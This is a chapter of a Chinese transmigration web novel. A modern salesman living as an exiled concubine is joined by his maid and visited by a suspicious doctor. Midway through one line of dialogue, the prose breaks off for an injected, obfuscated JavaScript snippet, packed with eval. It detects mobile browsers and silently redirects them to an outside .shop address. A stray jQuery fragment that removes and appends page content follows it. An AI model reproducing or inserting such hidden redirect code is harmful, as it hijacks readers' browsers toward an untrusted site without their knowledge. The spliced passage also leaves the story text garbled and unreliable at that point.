那个烤红薯，他第二天上午买到的。
城南的街道比华府那一带窄，两边的铺面零零散散，卖的都是些寻常东西，米面油盐，针线布料，偶尔有一个担挑子的走过来，吆喝声从巷子这头传到那头，然后消失。老梁那天早上出了门，穿着件半旧的藕色衫子，头发挽着，没有插簪——银簪他收在包袱里，不敢戴出来。他沿着那条街走了一段，找到了那个烤红薯的摊子，就在一个巷子口，一个泥炉，上头架着个铁桶，炭火的气味从桶缝里钻出来，带着那股焦甜的香。
摊主是个五十多岁的老头，蹲在炉边拨炭，见有人来，抬起头，上下打量了一眼："要哪个？大的小的？"
"大的，"老梁说，"最大的那个。"
老头用夹子翻出一个，拍了拍灰，拿草纸裹了递过来："三文钱。"
老梁摸了摸袖袋，把三枚铜钱数出来，放到老头手里，接过那个红薯，烫的，隔着草纸都烫手，他把它换了个姿势托着，往巷子口走了两步，站定，把那层草纸剥开。
热气扑出来，红薯皮烤得焦黑，裂了一道口子，里头的瓤是橙黄色的，糯的，带着一股子蜜香，跟他以前在上海地铁口买的那种闻起来是一样的，连那股焦甜后头带的一丝丝烟气都是一样的。
他咬了一口，很甜，烫，他嘴里含着那口红薯，没有立刻嚼，就那么含着，让那个温度和那个甜在嘴里待了一会儿。
然后他站在那个巷子口，慢慢把那个红薯吃完了，吃到最后连皮都没剩，草纸上的油迹用手指抹了抹，揣进袖袋里。
站了一会儿，转身往那处宅子走回去。
宅子在一条更窄的巷子里，进了角门是个小院，院子里有棵枯了半截的老槐树，地上铺了一层干透的槐荚，踩上去嘎吱嘎吱的响。正屋三间，他住中间那间，左边那间锁着，右边那间空的，他头一天进去看了一眼，里头有张破床，床腿少了一根，拿砖头垫着。
他回屋，在桌边坐下来，把袖袋里剩的银钱倒出来，摆在桌上数了数。
七钱三分，娟儿走之前塞给他的两钱，加上他从华府份例里攒下来的那点，就这些了。他拿手指把那些钱拨了一遍，按照他自己估的城南的物价算了算：一天三顿，每顿按最省的吃，馒头、粥、素菜，大概七八文钱；那包陈大夫开的药还有半个月的量，吃完了要续，续药要钱；房子是妙静的人安排的，暂时不收租，但"暂时"是多久，他不知道，那个"暂时"的背后是什么意思，他也不知道。
他在心里把这笔账算了一遍，得出一个结论：大概能撑四十天，前提是不生病，不出意外，也不再花三文钱买烤红薯。
他把那些钱重新拢在一起，包进一块布里，压在床板底下。
然后他坐在那张桌边，什么都没有干，就那么坐着，把这几天发生的事情从头到尾过了一遍。
他是梁志超，四十七岁，上海，某建材公司的区域销售总监，月薪两万三，儿子高二，老婆在家带娃，他穿越之前最大的烦恼是Q3的业绩差了十个点，总监在群里@了他两次。
现在他的处境是：住在古代某个城市的城南，身上揣着七钱三分银子，前夫平南天，刚流产，刚被赶出府，一个认识的人都没有，不知道下一步该做什么。
他在"不知道下一步该做什么"这件事上想了很久。
做销售这么多年，他不是没遇见过死局，遇见过，但那些死局再死，还有个退路可以找，大不了这个单子不签、这个客户不跟了、换条路再来。但他现在的这个局，退路在哪里？他能做什么？他不认识人，不懂这个时代的规矩，手里握着一支藏了延平王印信的银簪，他不知道这支簪子对他来说是护身符还是催命符，但他知道它不能出现在任何人眼前，至少现在不能。
他这么想着，脑子里没有转出什么结论，就慢慢放下了，把脑袋靠在椅背上，看着屋顶的几根横梁。
那几根梁是老的，颜色黑透了，有一根靠东墙的梁上有个燕子窝，空的，泥巴糊的，边缘已经脱落了一块，挂在那里，随时要掉的样子。
他就这么盯着那个燕子窝看了很长时间，一直到外头的天色开始往下沉，屋里的光暗了，他才回过神来，站起来，去找蜡烛。
城南的第三天，老梁开始试着生火。娟儿不在，没人替他做这些事。他蹲在那个小泥炉边上，拿火折子吹了三次，第一次火折子没着，第二次着了但柴没引燃，第三次终于点着了一把干草，火苗蹿上来，他把粗柴塞进去，火苗晃了两下，灭了。因为柴是潮的。他蹲在那里看着那堆冒烟的潮柴，嘴巴抿成一条线，重新换了一把柴，这次找了底下相对干的一些，又吹火折子，又塞干草，又添柴，折腾了快半个时辰，炉子里终于有了火，稳住了，橘红色的光从炉膛里透出来，把他脸上映得暖了一瞬。
他蹲在那里，看着那团火，忽然觉得鼻子发酸。不是因为难过，是因为他做了四十七年的人，到头来连一堆火都生不起来。
那天傍晚他用那口破桶烧了水，洗了个澡。木桶缺了一块，他用布把缺口堵了，勉强能用，水漏得慢，他洗得快，将将够用。洗完之后他站在屋里，拿一块布擦头发，手笨，头发缠在布上扯不下来，扯了两下才解开，解完之后头发散了一肩，湿漉漉地贴着颈侧和后背，凉意从发梢往下渗。他低头看了一眼铜盆里的水面，还在晃，看不清脸，只看见一个模糊的轮廓，白的。
他把银簪从包袱里取出来，对着窗纸透进来的最后一点天光，拿在手里。并蒂莲，银的，那道接缝，那枚延平王印。他往发间插，手滑，簪子从指缝里掉下去，落在桌上，叮的一声。他捡起来，又插，这次插歪了，簪头斜着卡在发髻边上，像根歪长的树枝。他拔出来，重新插，第三次才插正。插正之后他对着铜盆里那个还在晃的倒影，看见那支簪子在发间的位置终于对了，停了一瞬，然后叹了口气，低声说了一句：
"婉清，你当初是想好了的，还是也没想好。"
当然没有回答。
那天夜里他插好簪子之后在床边坐了一会儿，然后躺下去，睡着了。他睡着的时候，平南天正在回华府的路上。
平南天进华府大门的那一刻，就知道出了事。
不是有人告诉他，是那个"没人告诉他"本身告诉了他——门房的人见了他，笑得比往常更周正；进了二门，有两个丫鬟正在廊下说话，见了他，话断了，两个人都低下头去看自己的鞋尖。他在南边做了二十年生意，什么叫"下头的人瞒着事"，他比谁都清楚。
他没有立刻发问，换了衣裳，洗了手，让人备了茶，坐在书房里喝了半盏。
然后叫了管家进来，问了一句话："三太太呢。"
管家低着头，把来龙去脉说了，说得很平，像在念一份公文，安胎药的账，周婆子的话，那包桂花干，大太太的处置，说城南有处宅子，三太太已经安置好了。管家说这些话的时候，用词非常干净，干净到听不出任何立场，就是陈述事实，每一个字都找不到破绽。
平南天听完，把那盏茶放下，没有说话。
管家等了一会儿，说："老爷，还有别的吩咐吗？"
"出去。"
管家出去了。书房里安静下来，平南天坐在那把椅子里，那椅子是紫檀的，是他祖父留下来的，他从小坐到大，椅背的弧度他熟得很，但今天靠上去，那个弧度像是变了，硌着他，他换了个坐姿，还是硌着。
他站起来，在书房里走了几步，拿起桌上一个镇纸，放下，拿起笔，放下，然后走到书架那边，把一本账册抽出来，没有翻，又插回去。
那包干桂花是他听了第一个发怔的细节。他知道那包干桂花是谁给的，知道是谁收的，知道它在婉清梳妆台抽屉里放了多久——那个东西不是什么私相授受的信物，是一样跟他一点关系都没有的东西，但现在被拿出来，放在那三顶帽子里，就变成了他的脸。
他在书架前站了一会儿，脑子里把妙静这一手拆开来看了一遍。每一条单拎出来都不够，但叠在一起，就是一张他没法正面回答的纸。他要翻这个案，就要先承认他在乎一个侍妾的清白超过在乎一府的体面，就要当着所有人的面说妙静做错了，就要把他和婉清之间那点说不清道不明的情分摆到台面上，逼着所有人看。他做不到。不是不想，是做不到。
他走出去，穿过二门，走过游廊，走到北院的院子里。院子里没有人，其他的丫鬟早被妙静打发了，安静得只有风吹过石榴树的声音，树叶子已经开始黄了，稀稀落落地挂着，底下地上有两颗落下来的果子，烂了，皮破了，果肉烂进泥里，红的汁水晕开来，被蚂蚁爬了一圈。
平南天站在那里，看着那两颗果子，站了很长时间，没有动。他没有进屋。风来了又走了，槐树叶子动了一下，石榴树跟着动了一下，那两颗烂果子没动，就在地上烂着。
他转过身，出了院子，走回前头。回书房之前叫了管家来，说了一句话："城南那边，每月送二两银子过去，从我的私账里出，不要从府里的账上走。"
管家应了，退出去了。平南天进了书房，把门关上，坐下来，重新拿起那盏茶，茶已经凉了。他喝了。
娟儿是在偏厅问话之后做的决定。
大太太妙静处置完三太太的事，当天下午就把北院的丫鬟婆子叫到偏厅"过了一遍话"，一个一个问，问三太太日常见了什么人、说了什么话、有没有什么异常。娟儿排在最后一个，轮到她的时候天已经暗了，她站在偏厅里，低着头，手攥着袖口，听见大太太的声音从头顶落下来："你伺候三太太的时间最长，她的事，你该比旁人清楚。"
娟儿说："回大太太，三太太待奴婢好，但三太太的事……奴婢真的不知道。"
妙静看了她一会儿，没有追问，说了一声"下去吧"。
娟儿退出来的时候，腿是软的。她回到北院，院子里已经空了，婉清的东西被收走了，梳妆台上干干净净的，只剩桌角有一点胭脂的痕迹，是婉清有一次不小心蹭上去的，没擦干净。娟儿站在那间空屋子里，看着那一点胭脂痕迹，忽然觉得浑身发冷。
那天晚上她没有睡着。她蜷在外间的榻上，脑子里反复转着几件事：二太太端来的那碗燕窝；三太太喝完燕窝之后当夜的剧痛；陈大夫连夜进府，又连夜走了；第二天大太太就来了，带着账、带着周婆子、带着那包桂花干。她虽然不知道那碗燕窝里到底是什么，但她知道三太太出事之前唯一吃过的"不一样的东西"就是那碗燕窝。而二太太海芳送燕窝来的时候，是她通的传、是她掀的帘子、是她退到一边看着三太太把那碗燕窝喝下去的。
她在那个过程中什么都没做。
这个念头像一根针，扎在她心里，扎了一整夜。
天快亮的时候，她从榻上坐起来，做了一个决定。她没有立刻走，等到天光大亮，府里各院都开始走动，前头的门房换了一班人。她洗了脸，把头发重新梳整齐，换了件干净的素色衣裳，去厨房取了好几个馒头用布包了揣在怀里，然后走到书房外面，跪了下来。
她没有哭，也没有喊，就那么跪着。
过了大约一盏茶的功夫，书房的门开了一条缝，平南天的声音从里头传出来，带着一点夜里没睡好的那种哑："什么事。"
娟儿说："老爷，三太太一个人在城南，身边没人照顾。奴婢……奴婢想过去伺候三太太。"她说完这句话，把额头抵在青砖地上，没有再开口。
书房里安静了很长一段时间。长到娟儿跪在地上的膝盖开始发麻，长到前头院子里有一只鸟叫了三声又停了。然后门缝里传来平南天的声音，比刚才低了一些："知道了。你去吧。"停了一下又说："别声张。"
娟儿对着那扇门磕了一个头，站起来，没有回北院收拾东西——她前一天夜里已经收拾好了，两件换洗衣裳，几文铜钱，一小包干粮，用一块旧布裹着压在榻板底下。她走到自己住的那间小屋，从榻板底下摸出那个包袱，揣在怀里，从角门走了出去。
门房的人看了她一眼，没有拦。她走出那道门的时候，太阳正升起来，照在巷子口那棵槐树上，影子拉得很长。
她走了一整个白天。城南她没去过几次，只记得大太太的人说"城南有处宅子"，但具体在哪条巷子，没有人告诉她。她一路走一路问，卖包子的、挑担子的、路边蹲着晒太阳的老头，问了好几个人才大致摸到方向。走到那条窄巷子口的时候天已经擦黑了，她站在那扇院门前面，手抬起来，又放下，又抬起来，最后只是轻轻地叩了一下。三短一长。
门开了。老梁站在门里，穿着一件半旧的藕色衫子，头发挽着，那支银簪插在发间，位置是正的。他看见门口站着的人，愣了一下，手里的蜡烛从指缝间滑下去，掉在门前的青砖上，滴溜溜滚了一圈。
娟儿站在门外，手里攥着那个磨白了角的小包袱，头发被风吹得有些乱，眼眶是红的，但她咬住了下唇，没有让眼泪掉下来。她张了张嘴，过了好一会儿才哑着嗓子说出一句："太太……奴婢来晚了。"
老梁看着门口那个干瘦的身影，看着她红着眼眶却咬住下唇的样子，喉咙像是被什么东西堵住了。娟儿见他没说话，赶紧低下头，又补了一句："太太，奴婢会生火，会烧水，什么都干。太太您别赶奴婢走。"她说"什么都干"的时候声音里带了点颤。
老梁侧过身，把门让开："进来吧。"他低头扫了一眼地上那根蜡烛，弯腰捡起来，又说："炉子里的柴是潮的，点不着。"
娟儿快步走进院子，把包袱往廊下一放，蹲到那个小泥炉边上，伸手摸了摸柴，皱了一下眉，然后熟练地把柴重新架了架，从怀里掏出火折子吹了一下，引了一把干草塞进去，火苗稳了，又添了两根细柴，炉子里噼啪响了一声，火光照亮了她那张干瘦的脸。老梁站在旁边，看着娟儿蹲在炉子边，袖子捋起来，手被烟灰蹭黑了，脸上却很平静，像在做一件她本来就该做的事。
他把那根蜡烛凑到火苗上点着了，烛光亮起来，照着这间破屋的门框、院子里的老槐树、地上铺着的干槐荚。他蹲下来，把蜡烛放在地上，看着那团火，停了一会儿，问："你怎么来的？"
娟儿没有抬头，拨了拨炉灰："奴婢自己来的。"
"平南天知道？"
娟儿沉默了一拍："老爷说……知道了，让奴婢别声张。"
老梁在那团火前面蹲着，火苗映在他脸上，明一阵暗一阵。他把那四个字在脑子里转了一遍，没有再说别的。过了一会儿他站起来，进屋从床底下摸出两个馒头，凉的，硬了，拿了一个递给娟儿。娟儿接过来，没有推辞，就坐在炉子边，把馒头掰成两半，一半递给老梁，一半自己拿着，小口小口地吃。
炉子里的火烧得稳稳的，暖意从那团火里慢慢往外散。
那晚老梁把中间那间屋让给了娟儿，自己搬了张椅子在廊下坐着。娟儿不肯，说哪有主子给丫鬟腾屋的道理。老梁说你要是不睡正屋明天怎么给我生火。娟儿想了想，觉得这话有道理，就进去了。
老梁坐在廊下的椅子上，盖着一件旧衣裳，靠着椅背，看着院子里那棵老槐树的影子在月光底下晃。他想起娟儿蹲在炉子边那双手——瘦，干，手背上有一道浅浅的疤，像是以前被烫过。她干活的时候很利索，不像他，连火折子都吹不燃。他想着想着忽然意识到：他从华府出来之后，这是第一个晚上，他觉得自己不是一个人了。
娟儿来了之后的头两天，日子过得比他自己一个人时踏实。娟儿烧水，熬粥，把那间破屋子从里到外收拾了一遍，连廊下堆了不知道多久的灰都扫干净了。她还从巷子口那家杂货铺赊了半斤米和一小罐盐，说等过两天有钱了再还。老梁问她怎么想到赊账的，她说掌柜的看她面善，说下次来再给就行。
第二天傍晚，娟儿在院子里晾老梁换下来的那件藕色衫子。老梁搭了一会儿，手笨，娟儿看不过去，接过来自己晾。她正把那件衫子往竹竿上搭，听见巷子口有脚步声——轻，快，两个人的。脚步声在院门外停了，隔了一会儿有人叩门，三短一长。
老梁的手在衣裳上停了一瞬，他认得这个节奏。
娟儿看了老梁一眼，老梁点了下头。娟儿走到门边，隔着门板问："谁。"
外头沉默了一瞬，一个女声低低地应："是我，有容。"
娟儿听见这个名字，手在门闩上停了一下。她回过头，那眼神里有什么东西，不是问，是让老梁自己决定。老梁冲她点了点头。娟儿拔了门闩，拉开半扇门，退到一边，没有让开身子，就站在门框和门板之间，给有容留了一个刚好能侧身进来的缝。
有容站在门外，穿着一件灰扑扑的旧斗篷，兜帽压得很低，下巴尖露在外面，嘴唇比在华府时干了些，像是赶了不少路。她身后还站着一个人，也披着斗篷，深灰色，站得稳，背挺得很直。
老梁的目光越过有容落在那个人身上，手从晾衣绳上放下来，垂在身侧，站在院子中央，没有迎上去，也没有让开。
有容走进来，这次没有屈膝行那个华府里的礼，只是微微低了一下头，抬起来，说："三太太，奴婢带了位大夫来，给您看看身子。"
老梁没答话，他看着有容，又看她身后那个始终没开口的人，然后说："大夫？"
"是，"有容说，"城南济仁堂的张大夫，专看妇人症的。奴婢托了厨房周妈妈的干亲才请到的。"
"周妈妈，"老梁的语调没有起伏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900889|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，"厨房那个周妈妈。"
"是。"
"她是二太太的人。"
有容的嘴唇动了一下，没有反驳。
"你也是二太太的人，"老梁说，"你上一次端到我面前的东西，我喝下去，半夜就疼醒了，孩子就没了。你现在又来了，又带了东西来，这次换了个活的。"
有容没有立刻说话。她就站在那里，让那句话在院子里待了有三四息，然后说："三太太，那碗燕窝，奴婢想跟您说一件事。"
"说。"
"那天奴婢从厨房取了那碗燕窝出来，走到二门里头廊下，碰见了大太太的徐妈妈。"有容说，声音很平，不快不慢，像在陈述一件她已经过了很多遍的事，"徐妈妈手里也端着一碗东西——白瓷碗，燕窝，热气和奴婢手里那碗一模一样，连碗沿上那圈青花纹路都是一样的。徐妈妈说大太太有句话要传，奴婢把碗搁在廊下的凳子上，侧过去听。不到十息，奴婢端起碗继续走。那碗和放下去的时候没有任何分别，奴婢看不出来。"
说到这里她停了一下，然后说了最后一句："徐妈妈是大太太妙静的人。不是二太太海芳的人。"
说完，她不再说话，就看着老梁。
院子里安静了一段时间。老梁站在那里，把有容说的那幅画在脑子里描了一遍：廊下，两碗一模一样的燕窝，徐妈妈一手端着一碗，有容侧身去听那句话，碗放在凳子上，十息不到，碗端起来继续走。燕窝还是那碗燕窝，热气还是那个热气，青花纹路还是那圈纹路。
他把这幅画在脑子里放了一会儿，没有说信或者不信，只是转过头看了娟儿一眼。
娟儿没有说话。但她的手从门闩上挪开了，垂在身侧。
老梁往旁边让了半步，对有容说："那位大夫，进来吧。"然后对娟儿说："门开着。"
有容听懂了，侧身对身后那个人说："张大夫，请。"
那个人迈步跨过了门槛，抬手把斗篷的兜帽往后推了下去。老梁看见那张脸的那一刻，脑子里有什么东西轻轻动了一下——说不清哪里，就是有那么一下，觉得这个女人好像在哪见过，但仔细一想又根本不认识。
四十岁上下，眉眼之间很安静。脸形窄而长，下巴收得利落，鼻梁不低，嘴唇的线条闭得紧。肤色偏白，不是那种养在深闺的白，是透着一层淡黄的、像常年不太见日光的那种白。两鬓有几丝白发，夹在乌黑的头发里，不仔细看看不出来。她没有戴任何首饰，耳朵上光秃秃的，发髻挽得低而紧，插了一根素银簪，簪头什么花式都没有，就是一根直的。
老梁在看她的脸，目光停留了大约两息。说不清哪里眼熟，他自己也没想清楚，那个念头在脑子里转了一圈，转不出结论，他就把它搁下了。
"娘子安好，"张大夫开口了，声音不高不低，尾音有一点点轻微的提，"方才有容跟我说了，娘子前些日子小产过，气血亏得厉害。我先给您把个脉，看看虚实。"
娟儿搬了一把椅子放在廊下，又搬了一张矮凳放在对面，垫了一块布。张大夫在椅子上坐下，把斗篷的扣子解开了一颗，让自己坐得更舒展些。老梁隔了三四步站着，抱着胳膊，后背靠着院墙。娟儿搬了条凳坐在张大夫斜后方，一臂的距离，正好能看见她两只手。
老梁走过去，在矮凳上坐下来。背挺得很直，膝盖并拢，坐的位置离张大夫伸出的那只手大约一尺半，够近，但近不过他随时能站起来的距离。
张大夫把右手伸出来，三指并拢，搭上他的左腕。老梁往她的手上落了一眼——细长，白净，指甲修剪得很整齐，没有涂任何东西。虎口和指腹都干干净净的，没有茧，就是一双不干重活也不做粗事的手。这双手和他的手放在一起，肤色差不多，两个人的手腕搁在矮凳旁边的同一块布上，倒像是同一类人的手。
老梁心里浮起一个念头：这不像大夫的手。陈大夫的手他见过，指腹有一层黄褐色的印子，是常年碰药材磨出来的。这双手太白净了，药渣子的颜色一点没沾上。但他没有说什么，只是把那个念头按下去，等着。
张大夫闭着眼，三根手指在他腕上停了大约十几息，换了右手又搭了一会儿，然后睁开眼："脉象细，弦，带涩。左寸偏浮，右关偏弱，尺脉沉细。气血大亏，中焦虚寒，肝气郁结不舒。"
"娘子小产之后瘀血未尽，"张大夫收回手，看着老梁的脸说，"先把瘀血化开，再议补。若急着进补，瘀滞不通，反倒添新症。"
她的目光在老梁脸上停了一瞬，就只是那两息，落到了他的发间。
不是他的眼睛，不是他的气色，是发间——是那支银簪。
这个停留比看脸时更长，大约两息，不到三息。然后收了回去，张大夫低下头，从袖口里摸出一根炭笔，说："陈大夫的方子我看了，底方是对的，就是当归偏重了些，娘子现在的脉象受不住这个量。"说着在纸上重新写了一张方子，递给娟儿。
娟儿接过来扫了一眼，折好揣进怀里。
张大夫站起来，把斗篷的扣子重新系好，对老梁微微点头："先吃三剂，三剂之后若觉腹中暖了，再来找我。济仁堂，城南柳树巷口，姓张。"
老梁说："诊金多少？"
张大夫顿了一下："随意。三两二两都行。"
娟儿从屋里拿了三两碎银出来，张大夫接过去，揣进袖里，转身往外走。她走到门口的时候，斗篷的下摆带起了一片地上的槐荚，干透了的槐荚被撩起来又落下去，发出一阵细碎的脆响。
有容已经站在门外等着了，见张大夫出来，微微侧身，让她走在前面。
老梁叫了一声："有容。"
有容回过头。老梁站在门里看着她："你为什么要帮我？"
有容没有立刻回答。她站在门外的巷子里，身后的天色正在往暗里沉，她的脸映着黄昏最后一点光，五官的边缘有些模糊了。
这次她没有说那种克制的、掂量过的话。她沉默了一会儿，然后说了一句很实在的话，像是说给自己听的，顺带也让老梁听见了："三太太，那碗燕窝是奴婢端进去的。不管奴婢知不知道，是奴婢端进去的。"
说完，她转身走了，脚步比进来时快了半分。
娟儿把门关上，插好门闩。她站在门板边上，手还按着闩，没有立刻动。
老梁看了她一眼，她的手从闩上慢慢拿开来，低着头。老梁想起她那天夜里蜷在外间榻上，转了一夜，转出了那根针——"是她通的传、是她掀的帘子、是她退到一边看着三太太把那碗燕窝喝下去的"——有容说的是"是奴婢端进去的"，娟儿的那句话她自己没有说出来，但此刻两个人站在同一扇门里，那句话不用说，都在。
老梁没有说话，只是往廊下的椅子方向走了几步，在椅子上坐下来。
娟儿抬起头，说："太太，要不……让我把方子里的药先照陈大夫那张原方抓回来？张大夫那张改了当归，奴婢不确定。"
"嗯，"老梁说，"原方先抓着。"
娟儿应了，进屋去了。
院子里安静下来，老梁靠着椅背，目光在门板上停了一会儿，然后移到头顶那棵老槐树上。月亮升起来了，照着那几根枯枝，影子投在青砖地上，稀稀落落的。
他在那把椅子上坐了很久。脑子里过的不是有容说的那段话，也不是那碗燕窝，是那双手——张大夫搭脉时伸出来的那双手，白净，没有药渍，两息的目光，落在他的发间，落在那支银簪上，然后收走了。
那个目光不是随意的，他做了二十年销售，见过太多"不该看的目光"，那种只在没人注意的时候看一眼、看完就收的动作，是有目的的。
一个大夫，进门之后目光先落在病人的发簪上，不是脸，不是气色，是那支银簪——这不是大夫的习惯。
他把这件事搁在心里，像一块石头，重量说不清，放在那里，沉着。
月亮升得更高了，那些稀稀落落的影子在地上挪了位置。娟儿从屋里探出半个身子："太太，外头凉。"
"就来。"
他又坐了一会儿，没有动。他在想一件事：那个人把脉之前，目光先落在发簪上——而那支银簪，是婉清从南洋带回来的，里头藏着延平王的印，普天之下，认得这支簪子的，有几个人？
这个问题他没想出答案，或者说，他有一个隐隐约约的方向，但太荒诞，他不敢往那个方向深想。
他低头看了看自己这双手，细白，纤长，指甲圆润，月光照着，和张大夫那双手的肤色，几乎是一样的。
"快了，"他低声说，不知道说给谁听，"快了。"
然后站起来，拍了拍衣裳上的露水，进了屋。